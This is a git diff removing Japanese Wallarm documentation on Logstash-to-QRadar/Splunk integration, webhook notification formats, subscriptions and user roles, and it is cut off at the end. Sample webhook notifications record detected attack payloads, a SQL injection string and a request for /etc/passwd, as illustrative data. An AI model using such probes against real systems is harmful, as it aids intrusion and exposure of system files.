-設定ファイルの詳細な説明は、[公式Logstashドキュメント](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html)にあります。 - -!!! info "Logstash設定のテスト" - Logstashログが作成され、ArcSight Loggerへ転送されることを確認するため、LogstashにPOSTリクエストを送信できます。 - - **リクエスト例:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstashログ:** - ![Logstash logs](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-curl-log.png) - - **ArcSight Loggerでのイベント:** - ![ArcSight Logger event](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-curl-log.png) - -### Logstashインテグレーションの設定 - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![LogstashとのWebhookインテグレーション](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstashインテグレーション設定の詳細](../logstash.md) - -## テスト例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstashはイベントを次のように記録します: - -![LogstashからArcSight Loggerへの新規ユーザーに関するログ](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-user-log.png) - -ArcSight Loggerのイベントには次のエントリが表示されます: - -![LogstashからArcSight Loggerに表示された新規ユーザーのカード](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index ab9de38421..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1,113 +0,0 @@ -# Logstash経由のIBM QRadar - -本手順では、WallarmとLogstashデータコレクタの統合例を示し、イベントをQRadar SIEMシステムへ転送する方法を説明します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhookのフロー](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -## 使用リソース - -* [Logstash 7.7.0](#logstash-configuration)がDebian 11.x (bullseye)にインストールされ、`https://logstash.example.domain.com`で利用可能です -* [QRadar V7.3.3](#qradar-configuration-optional)がLinux Red Hatにインストールされ、IPアドレス`https://109.111.35.11:514`で利用可能です -* [EUクラウド](https://my.wallarm.com)のWallarm Consoleに[Logstash統合を設定する](#configuration-of-logstash-integration)ための管理者アクセスが必要です - ---8<-- "../include/cloud-ip-by-request.md" - -LogstashおよびQRadarのサービスへのリンクは例として記載していますので、応答しません。 - -### Logstashの設定 - -Wallarmはwebhook経由で中間データコレクタであるLogstashにログを送信するため、Logstashの設定は次の要件を満たす必要があります: - -* POSTまたはPUTリクエストを受け付けます -* HTTPSリクエストを受け付けます -* 公開URLを持ちます -* ログをIBM QRadarへ転送します。本例ではログ転送に`syslog`プラグインを使用します - -Logstashの設定は`logstash-sample.conf`ファイルに記述します: - -* 受信webhookの処理は`input`セクションで設定します: - * トラフィックはポート5044に送られます - * LogstashはHTTPS接続のみを受け付けるように設定します - * 公的に信頼されたCAが署名したLogstashのTLS証明書は`/etc/server.crt`に配置します - * TLS証明書の秘密鍵は`/etc/server.key`に配置します -* QRadarへのログ転送とログ出力は`output`セクションで設定します: - * すべてのイベントログはLogstashからQRadarのIPアドレス`https://109.111.35.11:514`へ転送されます - * ログは[Syslog](https://en.wikipedia.org/wiki/Syslog)標準に従い、JSON形式でLogstashからQRadarへ転送されます - * QRadarとの接続はTCPで確立します - * Logstashのログはコマンドラインにも追加で出力します（15行目）。この設定は、イベントがLogstash経由で記録されていることを確認するために使用します - -```bash linenums="1" -input { - http { # HTTP/HTTPSトラフィック用のinputプラグイン - port => 5044 # 受信リクエスト用のポート - ssl => true # HTTPSトラフィックの処理 - ssl_certificate => "/etc/server.crt" # LogstashのTLS証明書 - ssl_key => "/etc/server.key" # TLS証明書の秘密鍵 - } -} -output { - syslog { # Syslog経由でLogstashからログを転送するためのoutputプラグイン - host => "109.111.35.11" # 転送先のIPアドレス - port => "514" # 転送先のポート - protocol => "tcp" # 接続プロトコル - codec => json # 転送するログの形式 - } - stdout {} # コマンドラインにLogstashのログを出力するためのoutputプラグイン -} -``` - -設定ファイルの詳細は[公式のLogstashドキュメント](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html)を参照できます。 - -!!! info "Logstash設定のテスト" - Logstashのログが生成されQRadarへ転送されていることを確認するために、LogstashへPOSTリクエストを送信できます。 - - **リクエスト例:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstashのログ:** - ![Logstashのログ](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-curl-log.png) - - **QRadarのログ:** - ![QRadarのログ](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log.png) - - **QRadarのログペイロード:** - ![QRadarのログ](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log-payload.png) - -### QRadarの設定（任意） - -QRadarでは、ログソースを設定します。これにより、QRadarの全ログ一覧からLogstashのログを容易に見つけられますし、さらにログのフィルタリングにも使用できます。ログソースの設定は次のとおりです: - -* ログソース名: `Logstash` -* ログソースの説明: `Logs from Logstash` -* ログソースタイプ: Syslog標準で使用する受信ログ用パーサの種類`Universal LEEF` -* プロトコル設定: ログ転送の標準`Syslog` -* ログソース識別子: LogstashのIPアドレス -* その他の設定はデフォルトのままです - -QRadarのログソース設定の詳細は[IBM公式ドキュメント](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf)に記載されています。 - -![Logstash用のQRadarログソース設定](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-setup.png) - -### Logstash統合の設定 - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![LogstashとのWebhook統合](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstash統合の設定の詳細](../logstash.md) - -## テストの例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstashはイベントを次のように記録します: - -![LogstashからQRadarへの新規ユーザーに関するログ](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-user-log.png) - -QRadarのログペイロードには、次のJSON形式のデータが表示されます: - -![LogstashからQRadarに表示される新規ユーザーのカード](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index d7eb4f881e..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1,110 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Logstash経由でのSplunk Enterprise連携 - -本手順では、WallarmとデータコレクターLogstashを連携し、イベントをSplunkのSIEMシステムへ転送するための統合例を示します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhookフロー](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-scheme.png) - -## 使用リソース - -* [Splunk Enterprise](#splunk-enterprise-configuration)（WEB URL `https://109.111.35.11:8000`、API URL `https://109.111.35.11:8088`） -* [Logstash 7.7.0](#logstash-configuration)（Debian 11.x（bullseye）にインストール、`https://logstash.example.domain.com`で利用可能） -* [EU cloud](https://my.wallarm.com)のWallarm Consoleへの管理者アクセス（[Logstash統合の設定](#configuration-of-logstash-integration)用） - ---8<-- "../include/cloud-ip-by-request.md" - -Splunk EnterpriseおよびLogstashのサービスへのリンクは例として記載しているため、応答しません。 - -### Splunk Enterpriseの設定 - -Logstashのログは、名前を`Wallarm Logstash logs`とし、その他はデフォルト設定のままでSplunkのHTTP Event Controllerに送信します。 - -![HTTP Event Collectorの設定](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-setup.png) - -HTTP Event Controllerへのアクセスには、生成したトークン`93eaeba4-97a9-46c7-abf3-4e0c545fa5cb`を使用します。 - -SplunkのHTTP Event Controllerのセットアップの詳細は、[Splunk公式ドキュメント](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector)にあります。 - -### Logstashの設定 - -Wallarmはwebhook経由で中継データコレクターLogstashにログを送信するため、Logstashの設定は次の要件を満たす必要があります。 - -* POSTまたはPUTリクエストを受け付けること -* HTTPSリクエストを受け付けること -* 公開URLを持つこと -* Splunk Enterpriseへログを転送すること（本例では`http`プラグインを使用して転送） - -Logstashは`logstash-sample.conf`ファイルで設定します: - -* 受信webhookの処理は`input`セクションで設定します: - * トラフィックはポート5044に送られます - * LogstashはHTTPS接続のみを受け付けるように設定します - * 公的に信頼されたCAが署名したLogstashのTLS証明書は`/etc/server.crt`に配置します - * TLS証明書の秘密鍵は`/etc/server.key`に配置します -* Splunkへの転送とログ出力は`output`セクションで設定します: - * LogstashからSplunkへはJSON形式でログを転送します - * すべてのイベントログはPOSTリクエストでLogstashからSplunkのAPIエンドポイント`https://109.111.35.11:8088/services/collector/raw`へ転送します。リクエストの認可にはHTTPS Event Collectorのトークンを使用します - * さらに、（コードの15行目で）Logstashのログをコマンドラインにも出力します。この設定は、イベントがLogstash経由で記録されていることを確認するために使用します - -```bash linenums="1" -input { - http { # HTTP/HTTPSトラフィック用のinputプラグイン - port => 5044 # 受信リクエスト用のポート - ssl => true # HTTPSトラフィックの処理 - ssl_certificate => "/etc/server.crt" # LogstashのTLS証明書 - ssl_key => "/etc/server.key" # TLS証明書の秘密鍵 - } -} -output { - http { # HTTP/HTTPSでLogstashからログを転送するためのoutputプラグイン - format => "json" # 転送するログの形式 - http_method => "post" # ログ転送に使用するHTTPメソッド - url => "https://109.111.35.11:8088/services/collector/raw" # ログの転送先エンドポイント - headers => ["Authorization", "Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb"] # リクエストの認可に使用するHTTPヘッダー - } - stdout {} # Logstashのログをコマンドラインに出力するoutputプラグイン -} -``` - -設定ファイルの詳細は[Logstash公式ドキュメント](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html)にあります。 - -!!! info "Logstash設定のテスト" - Logstashのログが作成されSplunkへ転送されていることを確認するには、LogstashにPOSTリクエストを送信します。 - - **リクエスト例:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstashのログ:** - ![Logstashのログ](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-curl-log.png) - - **Splunkのイベント:** - ![Splunkのイベント](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-curl-log.png) - -### Logstash統合の設定 - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![LogstashとのWebhook統合](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstash統合の設定の詳細](../logstash.md) - -## テストの例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstashはイベントを次のように記録します。 - -![LogstashからSplunkへの新規ユーザーに関するログ](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-user-log.png) - -Splunkのイベントには次のエントリが表示されます。 - -![LogstashからSplunkに表示される新規ユーザーカード](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-user.png) - -## ダッシュボードでイベントを整理して表示する - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook.md b/docs/latest-ja/user-guides/settings/integrations/webhook.md deleted file mode 100644 index 35f86b1eed..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1,260 +0,0 @@ -# Webhook - -HTTPSプロトコルでWebhookを受信できる任意のシステムに、Wallarmから即時通知を送信するよう設定できます。 - -## 通知形式 - -通知は、連携の設定時に選択した内容に応じて、JSON配列または改行区切りJSON(NDJSON)形式で送信されます。通知に含まれるJSONオブジェクトの集合は、送信対象のイベントによって異なります。例： - -* ヒットの検出 - - === "JSON配列" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 20.714285714285715, - "method": "GET", - "path": "/", - "payloads": [ - "1' select version();" - ], - "point": [ - "get", - "id" - ], - "probability": 20.714285714285715, - "remote_country": null, - "remote_port": 41253, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519823, - "create_time": 1703519826, - "response_len": 345, - "response_status": 404, - "response_time": 359, - "stamps": [ - 7965 - ], - "regex": [], - "stamps_hash": 271168947, - "regex_hash": -2147483648, - "type": "sqli", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "rest", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 1.0357142857142858, - "parameter": "GET_id_value", - "applications": [ - "default" - ] - } - } - }, - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 2.5, - "method": "GET", - "path": "/etc/passwd", - "payloads": [ - "/etc/passwd" - ], - "point": [ - "uri" - ], - "probability": 2.5, - "remote_country": null, - "remote_port": 41254, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519826, - "create_time": 1703519829, - "response_len": 345, - "response_status": 404, - "response_time": 339, - "stamps": [ - 2907 - ], - "regex": [], - "stamps_hash": -1063984326, - "regex_hash": -2147483648, - "type": "ptrav", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "none", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 0.22727272727272727, - "parameter": "URI_value", - "applications": [ - "default" - ] - } - } - } - ] - ``` - === "改行区切りJSON (NDJSON)" - ```json - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":20.714285714285715,"method":"GET","path":"/","payloads":["1' select version();"],"point":["get","id"],"probability":20.714285714285715,"remote_country":null,"remote_port":41253,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519823,"create_time":1703519826,"response_len":345,"response_status":404,"response_time":359,"stamps":[7965],"regex":[],"stamps_hash":271168947,"regex_hash":-2147483648,"type":"sqli","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"rest","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":1.0357142857142858,"parameter":"GET_id_value","applications":["default"]}} - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":2.5,"method":"GET","path":"/etc/passwd","payloads":["/etc/passwd"],"point":["uri"],"probability":2.5,"remote_country":null,"remote_port":41254,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519826,"create_time":1703519829,"response_len":345,"response_status":404,"response_time":339,"stamps":[2907],"regex":[],"stamps_hash":-1063984326,"regex_hash":-2147483648,"type":"ptrav","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"none","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":0.22727272727272727,"parameter":"URI_value","applications":["default"]}} - ``` -* 脆弱性の検出 - - === "JSON配列" - ```json - [ - { - summary:"[Wallarm] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - === "改行区切りJSON (NDJSON)" - ```json - {"summary":"[Wallarm] New vulnerability detected","description":"Notification type: vuln\nNew vulnerability was detected in your system.\nID: \nTitle: Test\nDomain: example.com\nPath: \nMethod: \nDiscovered by: \nParameter: \nType: Info\nThreat: Medium\nMore details: https://us1.my.wallarm.com/object/555\nClient: TestCompany\nCloud: US","details":{"client_name":"TestCompany","cloud":"US","notification_type":"vuln","vuln_link":"https://us1.my.wallarm.com/object/555","vuln":{"domain":"example.com","id":null,"method":null,"parameter":null,"path":null,"title":"Test","discovered_by":null,"threat":"Medium","type":"Info"}}} - ``` - -## 連携の設定 - -1. Wallarm UI → **Integrations**を開きます。 -1. **Webhook**ブロックをクリックするか、**Add integration**ボタンをクリックして**Webhook**を選択します。 -1. 連携名を入力します。 -1. 送信先のWebhook URLを入力します。 -1. 必要に応じて詳細設定を構成します： - - --8<-- "../include/integrations/webhook-advanced-settings.md" - - ![詳細設定の例](../../../images/user-guides/settings/integrations/additional-webhook-settings.png) -1. 通知をトリガーするイベントタイプを選択します。 - - ![Webhook連携](../../../images/user-guides/settings/integrations/add-webhook-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの可用性、および通知形式を確認します。テスト通知は、改行区切りJSON (NDJSON)を選択している場合でも、常にJSON配列形式で送信されます。 -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### 例: IPアドレスがdenylistに追加された場合にWebhook URLへ通知 - -IPアドレスがdenylistに追加されると、このイベントに関するWebhookがWebhook URLに送信されます。 - -![denylist対象IPのトリガー例](../../../images/user-guides/triggers/trigger-example4.png) - -**トリガーをテストするには：** - -1. Wallarm Console → **IP lists** → **Denylist**を開き、IPアドレスをdenylistに追加します。例えば： - - ![denylistへのIP追加](../../../images/user-guides/triggers/test-ip-blocking.png) -2. 次のWebhookがWebhook URLに送信されたことを確認します： - - ``` - [ - { - "summary": "[Wallarm] Trigger: New IP address was denylisted", - "description": "Notification type: ip_blocked\n\nIP address 1.1.1.1 was denylisted until 2021-06-10 02:27:15 +0300 for the reason Produces many attacks. You can review blocked IP addresses in the \"Denylist\" section of Wallarm Console.\nThis notification was triggered by the \"Notification about denylisted IP\" trigger. The IP is blocked for the application Application #8.\n\nClient: TestCompany\nCloud: EU\n", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "ip_blocked", - "trigger_name": "Notification about denylisted IP", - "application": "Application #8", - "reason": "Produces many attacks", - "expire_at": "2021-06-10 02:27:15 +0300", - "ip": "1.1.1.1" - } - } - ] - ``` - - * `Notification about denylisted IP` はトリガー名です - * `TestCompany` はWallarm Consoleの貴社アカウント名です - * `EU` は貴社アカウントが登録されているWallarm Cloudです - -## 連携の無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および連携パラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/subscriptions.md b/docs/latest-ja/user-guides/settings/subscriptions.md deleted file mode 100644 index 74989c225d..0000000000 --- a/docs/latest-ja/user-guides/settings/subscriptions.md +++ /dev/null @@ -1,27 +0,0 @@ -# サブスクリプション - -Wallarm Consoleの**Settings** → **Subscriptions**セクションには、お客様のWallarm [サブスクリプションプラン](../../about-wallarm/subscription-plans.md)の詳細が表示されます。 - -## 有料サブスクリプションプラン - -有料のWallarmサブスクリプションプランをご利用の場合、サブスクリプションカードには次の情報が表示されます。 - -* サブスクリプション名とステータス -* サブスクリプションの有効期限 -* フィルタリングノードが処理したリクエストの統計 -* サブスクリプションプランに含まれるモジュールおよび機能のセット（セットは選択したサブスクリプションプランによって異なります） - -![有料サブスクリプションプラン](../../images/user-guides/settings/subscriptions/subscriptions.png) - -サブスクリプションを有効化、解約、または変更するには、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 - -## Free Tierの利用 - -Wallarm Cloudに登録し、[Free Tier](../../about-wallarm/subscription-plans.md#free-tier)サブスクリプションプランを使用している場合、サブスクリプションカードには次の情報が表示されます。 - -* **Free Tier**サブスクリプションタイル -* **API Discovery**サブスクリプションタイル（Free Tierに含まれます） -* フィルタリングノードが処理したリクエストの統計 -* [有効なモジュールおよび機能](../../about-wallarm/subscription-plans.md#free-tier-us-cloud)のセット - -サブスクリプションを有効化、解約、または変更するには、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/users.md b/docs/latest-ja/user-guides/settings/users.md deleted file mode 100644 index 098866e5f8..0000000000 --- a/docs/latest-ja/user-guides/settings/users.md +++ /dev/null @@ -1,176 +0,0 @@ -[link-audit-log]: audit-log.md - -[link-glossary-incident]: ../../glossary-en.md#security-incident -[link-glossary-vulnerability]: ../../glossary-en.md#vulnerability - -[img-configure-user]: ../../images/user-guides/settings/configure-user.png -[img-disabled-users]: ../../images/user-guides/settings/disabled-users.png -[img-search-user]: ../../images/user-guides/settings/search-users.png -[img-add-user]: ../../images/user-guides/settings/integrations/webhook-examples/adding-user.png -[img-add-user-invitation-link]: ../../images/user-guides/settings/invite-user-by-link.png -[img-user-menu]: ../../images/user-guides/settings/user-menu.png -[img-disabled-user-menu]: ../../images/user-guides/settings/disabled-user-menu.png -[img-edit-user]: ../../images/user-guides/settings/edit-user.png -[img-user-disable-2fa]: ../../images/user-guides/settings/users-disable-2fa.png -[img-user-menu-disable-2fa]: ../../images/user-guides/settings/disable-2fa-button.png -[img-disable-delete-multi]: ../../images/user-guides/settings/users-multi-disable-access.png -[img-enable-delete-multi]: ../../images/user-guides/settings/users-multi-enable-access.png - -# ユーザーの管理 - -チームメンバーをWallarmアカウントに招待し、機密情報を保護してアカウントでの操作を制限するために各メンバーに特定のロールを割り当てます。ユーザーの管理は**Settings** → **Users**で行います。 - -**Administrator**および**Global Administrator**ロールのみがユーザー管理権限を持ちます。 - -## ユーザーロール - -Wallarmクライアントのユーザーには次のロールがあります。 - -* **Administrator**: Wallarmのすべての設定にアクセスできます。 -* **Analyst**: 主要なWallarm設定の閲覧が可能で、攻撃、[インシデント][link-glossary-incident]、[脆弱性][link-glossary-vulnerability]に関する情報を管理できます。 -* **Read Only**: 主要なWallarm設定を閲覧できます。 -* **API Developer**: [API Discovery](../../api-discovery/overview.md)モジュールが検出したAPIインベントリの閲覧とダウンロードが可能です。このロールは、会社のAPIに関する最新データをWallarmで取得することのみが必要なユーザーを区別するためのものです。これらのユーザーは**API Discovery**、そのdashboard、**Settings → Profile**以外のWallarm Consoleのセクションにはアクセスできません。 -* **Deploy**: `addnode`スクリプトを使用してWallarmフィルタリングノードを作成できますが、Wallarm Consoleにはアクセスできません。 - - !!! warning "Wallarmノード4.0のインストールにDeployロールを使用する場合" - [バージョン4.0のリリースで`addnode`スクリプトは非推奨になった](../../updating-migrating/older-versions/what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-api-tokens)ため、**Deploy**ユーザーロールの使用はノード3.6以下のインストールにのみ推奨されます。 - -[マルチテナンシー](../../installation/multi-tenant/overview.md)機能により、グローバルロールの**Global Administrator**、**Global Analyst**、**Global Read Only**も使用できます。グローバルロールはテクニカルテナントアカウントおよびリンクされたテナントアカウントへのアクセスを付与し、通常ロールはテクニカルテナントアカウントのみにアクセスを付与します。 - -各ユーザーロールのWallarmエンティティへのアクセス権の詳細は以下の表のとおりです。エンティティの管理には、作成・編集・削除が含まれます。 - -| エンティティ | Administrator / Global Administrator | Analyst / Global Analyst | Read Only / Global Read Only | API Developer | -|---------------------|--------------------------------------|--------------------------|------------------------------|---| -| **Filtering nodes** | 閲覧・管理 | 閲覧 | 閲覧 | - | -| **Dashboard** | 閲覧 | 閲覧 | 閲覧 | - | -| **Attacks** | 閲覧・管理 | 閲覧・管理 | 閲覧 | - | -| **Incidents** | 閲覧・管理 | 閲覧・管理 | 閲覧 | - | -| **API Sessions** | 閲覧・管理 | 閲覧 | 閲覧 | - | -| **Vulnerabilities** | 閲覧・管理 | 閲覧・管理 | 閲覧 | - | -| **API inventory by API Discovery** | 閲覧・管理 | 閲覧・管理 | - | 閲覧・ダウンロード | -| **API Specifications** | 閲覧・管理 | 閲覧 | 閲覧 | 閲覧 | -| **Triggers** | 閲覧・管理 | - | - | - | -| **IP lists** | 閲覧・管理・エクスポート | 閲覧・管理・エクスポート | 閲覧・エクスポート | - | -| **Rules WAF** | 閲覧・管理 | 閲覧・管理 | 閲覧 | - | -| **Credential Stuffing Detection** | 閲覧・管理 | 閲覧・管理 | 閲覧 | - | -| **BOLA protection** | 閲覧・管理 | 閲覧 | - | - | -| **Security Edge** | 閲覧・管理 | 閲覧 | - | - | -| **Integrations** | 閲覧・管理 | - | - | - | -| **Filtration mode** | 閲覧・管理 | 閲覧 | 閲覧 | - | -| **Applications** | 閲覧・管理 | 閲覧 | 閲覧 | - | -| **Users** | 閲覧・管理 | - | 閲覧 | - | -| **API tokens** | 個人用および共有トークンの管理 | 個人用トークンの管理 | - | - | -| **Activity log** | 閲覧 | - | 閲覧 | - | - -## ユーザーの招待 - -ユーザーをアカウントに追加する方法は2つあります。どちらも招待リンクの作成と共有を伴います。Wallarmから指定したユーザーのメールアドレスに招待リンクを自動送信するか、生成したリンクを直接共有できます。 - -### メールによる自動招待 - -この方法では、あらかじめユーザーのロール、メールアドレス、氏名を設定しておくと、Wallarmがログイン用リンク付きの招待メールをそのユーザーのメールアドレスへ自動送信します。ユーザーはリンクに従ってサインアップを完了します。 - -招待リンクを自動送信するには、**Add user**ボタンをクリックしてフォームに入力します。 - -![新規ユーザーのフォーム][img-add-user] - -フォームを送信すると、ユーザーはユーザー一覧に追加され、招待リンクを含むメールを受信します。 - -### 招待リンクの手動共有 - -**Invite by link**オプションを使用して、チームメンバーのメールアドレス、ロール、リンクの有効期間を選択し、招待リンクを生成します。その後、リンクを対象ユーザーに共有します。 - -![新規ユーザーの招待リンク][img-add-user-invitation-link] - -このリンクはWallarmのサインアップページに遷移し、ユーザーはパスワードの選択と氏名の入力によってアカウントを作成できます。 - -サインアップ後、ユーザーはユーザー一覧に追加され、確認メールを受信します。 - -## SSOによる自動作成 - -SAML SSOソリューションから直接、Wallarm Consoleのユーザーとその権限を管理できます。この場合、SAML SSOソリューションでWallarmのロールにマッピングされたグループを用意します。これらのグループ内で新しいユーザーを作成すると、Wallarm側に自動的にユーザーが作成され、以下が付与されます。 - -* 対応するWallarmロール -* SSOの認証情報で即座にWallarm Consoleへアクセス -* ロールで規定された権限 - -これを機能させるには、[こちら](../../admin-en/configuration-guides/sso/setup.md#step-4-saml-sso-solution-configure-provisioning)の説明に従って、WallarmとSAML SSOソリューション間のインテグレーションを**provisioning**オプション有効で構成する必要があります。 - -## ユーザー設定の変更 - -ユーザーがユーザー一覧に表示されたら、該当ユーザーのメニューから**Edit user settings**オプションを使用して設定を編集できます。割り当てられたユーザーロール、名、姓を変更できます。 - -## 2FAの管理 - - -### 全ユーザーへの強制 - -会社の全ユーザーに二要素認証(2FA)の使用を強制できます。実施するには次のとおりです。 - -1. Wallarm Console → **Settings** → **General**を開きます。 -1. **Sign-in management**セクションで、**Enforce two-factor authentication for all company users**オプションを選択し、確認します。 - -![2FA - 全会社ユーザーに対して有効化](../../images/user-guides/settings/2fa-enforce.png) - -有効化すると、会社アカウントのすべてのユーザーは回避できず、ログイン前に2FAを設定する必要があります。次回ログイン時に2FAが必須であることが通知され、2FAの構成オプションが提示されます。ただし、このオプションを有効化しても現在のユーザーセッションには影響しません。 - -強制モードは後からいつでも無効化できます。無効化後、ユーザーには通知されず、[ユーザー本人](account.md#enabling-two-factor-authentication)または[あなた（管理者）](#disabling-for-selected-users)がそのユーザーに対して手動で無効化するまで、引き続き2FAを使用します。 - - -### 特定ユーザーの無効化 - -ユーザーに[二要素認証(2FA)が有効](account.md#enabling-two-factor-authentication)で、リセットする必要がある場合、ユーザーメニューから**Disable 2FA**オプションを選択します。Wallarm管理者アカウントのパスワードを入力して操作を確認します。[2FAの強制モード](#enforcing-for-all-users)が有効な場合、個別ユーザーの2FAを無効化することはできません。 - -![ユーザー操作メニュー][img-user-menu-disable-2fa] - -これで選択したユーザーの2FAが無効になります。ユーザーは自分のProfile設定から2FAを再度有効化できます。 - -## 